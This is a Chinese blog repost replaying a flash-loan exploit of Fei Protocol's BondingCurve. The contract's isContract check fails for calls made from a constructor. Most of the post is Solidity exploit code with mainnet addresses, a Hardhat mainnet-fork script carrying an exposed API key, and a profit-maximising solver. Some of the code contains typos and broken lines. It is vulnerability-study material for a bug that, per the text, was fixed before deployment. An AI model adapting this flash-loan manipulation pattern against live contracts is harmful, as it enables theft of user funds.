这篇文章主要介绍了Hack Replay – Fei Protocol ,文中通过代码以及文档配合进行讲解,很详细,它对在座的每个人的研究和工作具有很经典的参考价值。 如果需要,让我们与区块链资料网一起学习。

https://www.interchains.cc/23760.html

Hack Replay – Fei Protocol是很好的区块链资料,他说明了区块链当中的经典原理,可以给我们提供资料,Hack Replay – Fei Protocol学习起来其实是很简单的,

不多的几个较为抽象的概念也很容易理解,之所以很多人感觉Hack Replay – Fei Protocol比较复杂,一方面是因为大多数的文档没有做到由浅入深地讲解,概念上没有注意先后顺序,给读者的理解带来困难

Hack Replay – Fei Protocol

  • Hack Replay - Fei Protocol bixia1994
  • 发表于 5小时前

Fei protocol是一个稳定币项目,这篇文章主要是Fei Protocol在合约编写中的一个漏洞分析,由于该漏洞发现的早,并未部署在主网上,故没有造成任何损失。

Hack Replay – Fei Protocol

Fei protocol是一个稳定币项目,这篇文章主要是Fei Protocol在合约编写中的一个漏洞分析,由于该漏洞发现的早,并未部署在主网上,故没有造成任何损失。但是其对于如何分析漏洞,如何在本地环境中模拟漏洞有着重要的借鉴作用。本文的参考链接如下:Fei Protocol Flashloan Vulnerability Postmortem | by Immunefi | Immunefi | Medium

Hack Replay - Fei Protocol

漏洞合约

此次出漏洞的合约是BondingCurve合约,其漏洞函数为:

function allocate() external override postGenesis whenNotPaused {     require((!Address.isContract(msg.sender)) || msg.sender == core().genesisGroup(), "BondingCurve: Caller is a contract");     uint256 amount = getTotalPCVHeld();     require(amount != 0, "BondingCurve: No PCV held");      _allocate(amount);     _incentivize();      emit Allocate(msg.sender, amount); }

这个函数中,漏洞在于!Address.isContract(msg.sender)这一个检查,该检查用于判断调用该函数的地址是否是一个合约地址还是是一个EOA地址。

我们进入@openzeppelin/contracts/utils/Address.sol中,进一步查看isContract函数:

function isContract(address account) internal view returns (bool) {     // This method relies on extcodesize, which returns 0 for contracts in     // construction, since the code is only stored at the end of the     // constructor execution.      uint256 size;     assembly {         size := extcodesize(account)     }     return size > 0; }

isContract的方法中,我们可以看到它检查的是一个地址对应的extcodesize, 认为当extcodesize(addr) > 0就是合约。

漏洞分析

首先我们看下黄皮书中关于extcodesize的解释:

$$ $boldsymbol{mu}’{mathbf{s}}[0] equiv begin{cases} lVert mathbf{b} rVert & text{if} quad boldsymbol{sigma}[boldsymbol{mu}{mathbf{s}}[0] bmod 2^{160}] neq varnothing 0 & text{otherwise} end{cases} $$

$$ mathtt{KEC}(mathbf{b}) equiv boldsymbol{sigma}[boldsymbol{mu}{mathbf{s}}[0] bmod 2^{160}]{mathrm{c}} $$

对上述定义的简单描述为:如果该外部地址对应的账户状态存在,则返回外部地址的代码长度,否则返回0。即如果外部地址是一个有代码的合约地址,就会返回该合约的代码长度。

同时,在黄皮书7.1节中,详细讨论了在合约创建过程中,extcodesized的情况:

请注意,当初始化代码执行时,新创建的地址已经被创建而存在,但没有内在的主体代码。即在初始化代码执行期间,地址上的${EXTCODESIZE}$应该返回0,这是账户的代码长度,而${CODESIZE}$应该返回初始化代码的长度。

因此,它在这段时间内收到的任何消息调用都不会导致代码被执行。

如果初始化执行以${SELFDESTRUCT}$指令结束,这个问题就没有意义了,因为账户将在交易完成前被删除。对于一个正常的${STOP}$代码,或者如果返回的代码是空的,那么这个状态就会留下一个僵尸账户,任何剩余的余额将被永远锁定在这个账户中。

由此可见,通过extcodesize来判断一个地址是不是合约地址,并不是一个充分必要条件,而是一个必要不充分条件。

故该漏洞可以被如下方式利用:

pragma solidity ^0.6.0; import "./IBondingCurve.sol"; contract FakeEOA{     constrctor(IBondingCurve iBondingCurve) public {         iBondingCurve.allocate();     } }

攻击思路分析

简单的指出漏洞并不是我们的目的,我们的目的是模拟利用这个漏洞进行攻击。FEI协议是一个去中心化的算法稳定币,通过各种方法将Fei的价格维持在固定值上。一种方法是通过协议控制价值(PCV), FEI协议本身控制了Uniswap V2池中ETH/FEI对的大量流动性提供者代币(LP代币)(一个LP代币代表了每个池子里的代币按比例存入的份额)。

当FEI的价格超过1.01美元时,用户可以用ETH从FEI 的Bonding Curve中购买新造的FEI,以套利二级市场的价格,使其降至1美元。这些ETH被托管在Bonding Curve中,直到保管人重新分配它,此时,它将以现货价格存入ETH-FEI对,即调用Uniswap的mint方法。

问题是任何人都可以调用allocate(),该函数获取协议控制的价值(PCV),并以当时的市场价格(而不是ETH/USD的预言机价格)将其放入Uniswap池。

Address.isContractnonContract修饰符是为了防止在allocate操作过程中对FEI进行价格操纵,但这个防护措施在写的时候并没有发挥作用。如果被一个合约的构造器调用,它可以被绕过,正如我们在上面看到的。

故思路整理为:

//从AAVE的WETH资金池中闪电贷到一笔WETH //将贷款得到的WETH中的一部分用于swap WETH/FEI交易对,将FEI的价格拉高 //将贷款得到的WETH中的另一部分在FEI protocol中调用purchase方法,仍然按照$1.01的价格买FEI //借助外部合约在其构造函数中调用allocate方法,让FEI protocol按照被拉高价格的WETH/FEI比例存入WETH和FEI //将此前得到的所有FEI全部swap回WETH //偿还闪电贷的WETH,结余资金即为利润
contract Exploit is IFlashLoanReceiver{     IWETH private immutable WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);     IERC20 private immutable FEI = IERC20(0x956F47F50A910163D8BF957Cf5846D573E7f87CA);      IAaveLendingPool private immutable AAVE_LENDING_POOL = IAaveLendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);     address public immutable override ADDRESSES_PROVIDER = 0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5;     address public immutable override LENDING_POOL = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;      IUniswapV2Router02 private immutable ROUTER_02 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);     IUniswapV2Pair private immutable WETH_FEI_POOL = IUniswapV2Pair(0x94B0A3d511b6EcDb17eBF877278Ab030acb0A878);      IUpdateableOracle private immutable UNISWAP_ORACLE = IUpdateableOracle(0x087F35bd241e41Fc28E43f0E8C58d283DD55bD65);     IBondingCurve private immutable ETH_BONDING_CURVE = IBondingCurve(0xe1578B4a32Eaefcd563a9E6d0dc02a4213f673B7);      uint public _b;     uint public _d;     uint public _aavePremium;      constructor(uint b, uint d) public {         _b = b;         _d = d;         //update oracle         UNISWAP_ORACLE.update();         console.log("udpate oracle");         f     }      function executeOperation(         address[] calldata assets,         uint256[] calldata amounts,         uint256[] calldata premiums,         address initiator,         bytes calldata params     ) external override  returns(bool){         _aavePremium = premiums[0];         console.log("received WETH flashloan with premium",_aavePremium / 10**18);         //setp1:         dump();         buyFromBondingCurve();         allocate();         buyBack();         repayWETH();         console.log("repaying flashloan");         return true;     }     receive() external payable(); }

步骤一:从AAVE中贷到贷款

function flashloan() public {     address[] memory assests = new address[](1);     assests[0] = address(WETH);     uint256[] memory amounts = new uint256[](1);     amounts[0] = _b+_d;     uint256[] memory modes = new uint256[](1);     modes[0] = 0;     bytes memory params = new bytes(0x00);      AAVE_LENDING_POOL.flashLoan(         address(this), //address receiverAddress,         assets,//address[] calldata assets,         amounts,//uint256[] calldata amounts,         modes,//uint256[] calldata modes,         address(0),//address onBehalfOf,         params,//bytes calldata params,         0//uint16 referralCode       );     console.log("ETH balance", WETH.balanceOf(address(this))/10**18);  }

步骤二:将贷款得到的WETH中的一部分_d_用于swap WETH/FEI交易对,将FEI的价格拉高

function dump() internal {     WETH.approve(address(ROUTER_02),uint(-1));     address[] memory data = new address[](2);     data[0] = address(WETH);     data[1] = address(FEI);     uint[] memory amounts = new uint[](2);     amounts = ROUTER_02.swapExactTokensForTokens(         _d,         0,         data,         address(this),         uint(-1)     );     console.log("Dumped: ",_d / 10**18, "ETH on WETH/FEI pool");     console.log("FEI earned by dumped WETH: ", amounts[1]); }

第三步:将贷款得到的WETH中的另一部分_b_在FEI protocol中调用purchase方法,仍然按照$1.01的价格买FEI

function buyFromBondingCurve() internal {     //先将WETH换成ETH     WETH.withdraw(_b);     //发送ETH到purchase方法上     uint amount = ETH_BONDING_CURVE.purchase{value:_b}(address(this), _b);     console.log("bought fei from bonding curve for ",_b / 10**18, "ETH");     console.log("fei bounght is ",amount);     console.log("fei total is", FEI.balanceOf(address(this))); }

第四步:借助外部合约在其构造函数中调用allocate方法,让FEI protocol按照被拉高价格的WETH/FEI比例存入WETH和FEI

function allocate() internal {     new Allocator(ETH_BONDING_CURVE);     console.log("Allocate ETH from fei protocol"); }

第五步:将此前得到的所有FEI全部swap回WETH

function buyBack() internal {     FEI.approve(address(ROUTER_02),uint(-1));     uint amountIn = FEI.balanceOf(address(this));     address[] memory data = new address[](2);     data[0] = address(FEI);     data[1] = address(WETH);     uint[] memory amounts = new uint[](2);     amounts = ROUTER_02.swapExactTokensForTokens(         amountIn,         0,         data,         address(this),         uint(-1)     );     console.log("Swapped ", amountIn / 10**18, "fei on WETH/FEI pool"); }

第六步:偿还闪电贷的WETH,结余资金即为利润

function repayWETH() internal {     //approve aave for flashloan payback     WETH.approve(address(AAVE_LENDING_POOL), _b+_d+_aavePremium); }

Hardhat 部署

通过查阅相关资料显示,该攻击在block高度为12350000时可用,在高度12500000时漏洞已被修复。故

const hre = require("hardhat"); async function main() { //reset the local chain to a fork of mainnet //so that the state is always a promise     await hre.network.provider.request({         method: "hardhat_reset",         params: [{             forking: {                 jsonRpcUrl: "https://eth-mainnet.alchemyapi.io/v2/7Brn0mxZnlMWbHf0yqAEicmsgKdLJGmA",                 blockNumber: 12350000                 // blockNumbeR: 12500000 // after fix             }         }]     })     //check this contract balance of WETH     const WETH = await hre.ethers.getContractAt("IWETH",'0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2');     //deploy poc contract     d = "207569000000000000000000"     b = "092430000000000000000000"     const Exploit = await hre.ethers.getContractFactory("Exploit2");     const exploit = await Exploit.deploy(d,b);     console.log("Exploit deployed to: ", exploit.address);     //let's run the exploit poc     const balance0 = await WETH.balanceOf(exploit.address);     console.log("balance before exploit ", balance0/1e18," ETH");     console.log("start exploit");      await exploit.flashloan();     const balance1 = await WETH.balanceOf(exploit.address);     console.log("if the balance is positive the exploit is success", balance1 - balance0);     console.log("balance after exploit ", balance1 /1e18, " ETH");  } main()     .then(()=>process.exit(0))     .catch(error =>{         console.error(error);         process.exit(1);     });

最大利润点

要达到最大的利润点,需要满足如下公式:

$$ d=WETH{swap},b=WETH{purchase} $$

$$ FEI{swap}=R{FEI}^0-frac{R{WETH}^0cdot R{FEI}^0}{R_{WETH}^0+d} $$

$$ FEI{purchase} = bcdot frac{R{FEI}^0}{R_{WETH}^0} $$

当调用allocate方法时, FEI合约会按照此时的价格向WETH/FEI资金池中添加流动性:

$$ WETH_{deposit}=b $$

$$ FEI{deposit}=bcdot frac{R{FEI}^0-FEI{swap}}{R{WETH}^0+d} $$

此时所有的FEI为:

$$ FEI{total}=FEI{swap}+FEI_{purchase} $$

将所有的FEI全部swap成WETH得到:

$$ WETH{total}=(R{WETH}^0+d+WETH{deposit})-frac{(R{WETH}^0+d+WETH{deposit})cdot (R{FEI}^0-FEI{swap}+FEI{deposit})}{(R{FEI}^0-FEI{swap}+FEI{deposit})+FEI{total}} $$

则利润为:

$$ profit=WETH_{total}-d-b $$

解方程组

这里我们调用gekko这个python库来解上面的方程组

from gekko import GEKKO  m = GEKKO() #p0 就是在攻击前的WETH/FEI池子里的WETH数量 p0 = m.Param(value=141245.117) #p1 就是在攻击前的WETH/FEI池子里的FEI数量 p1 = m.Param(value=463938347) #peg 就是攻击前的WETH/FEI的价格 peg = m.Param(value=p1/p0) #求目标参数b,d, 初始化为50000 d = m.Var(lb=0,value=50000) b = m.Var(lb=0,value=50000)  m.Equation(d + b <= 700000)  #第一步,dump WETH到FEI/WETH池子 p0_d = p0+d p1_d = (p0 * p1) / p0_d r1_d = p1 - p1_d #第二步,purchase FEI r1_b = b * peg #第三步, 调用allocate方法 p0_b = p0_d + b # p1_b / p0_b = p1_d / p0_d  p1_b = p1_d * (p0_b / p0_d)  #第四步,将手上所有的FEI全部swap成WETH p1_f = p1_b + r1_d + r1_b p0_f = (p0_b * p1_b) / p1_f #我们收到的WETH r0_f = p0_b - p0_f #我们的利润 profit = r0_f - b - d  #最大化我们的利润 m.Maximize(profit) # 执行 m.options.IMODE = 3 # steady state optimization m.solve()  print("solved:") print("objective: " + str(m.options.objfcnval)) print("d: ", str(d.value)) print("b: ", str(b.value))

Hack Replay - Fei Protocol

往期推荐

Paradigm CTF-baby

合约升级模式-以compound为例

Paradigm CTF-Market

当产品经理拿着compound的白皮书跟你说他有一个绝妙的想法时,你应该怎么办?

Paradigm CTF-农场

Paradigm CTF-回文子串

当面试官问你Uniswap V2的时候,你应该想到什么?

部分转自网络,侵权联系删除www.interchains.cchttps://www.interchains.cc/23760.html

区块链毕设网(www.interchains.cc)全网最靠谱的原创区块链毕设代做网站 部分资料来自网络,侵权联系删除! 最全最大的区块链源码站 ! QQ3039046426
区块链知识分享网, 以太坊dapp资源网, 区块链教程, fabric教程下载, 区块链书籍下载, 区块链资料下载, 区块链视频教程下载, 区块链基础教程, 区块链入门教程, 区块链资源 » Hack Replay – Fei Protocol

提供最优质的资源集合

立即查看 了解详情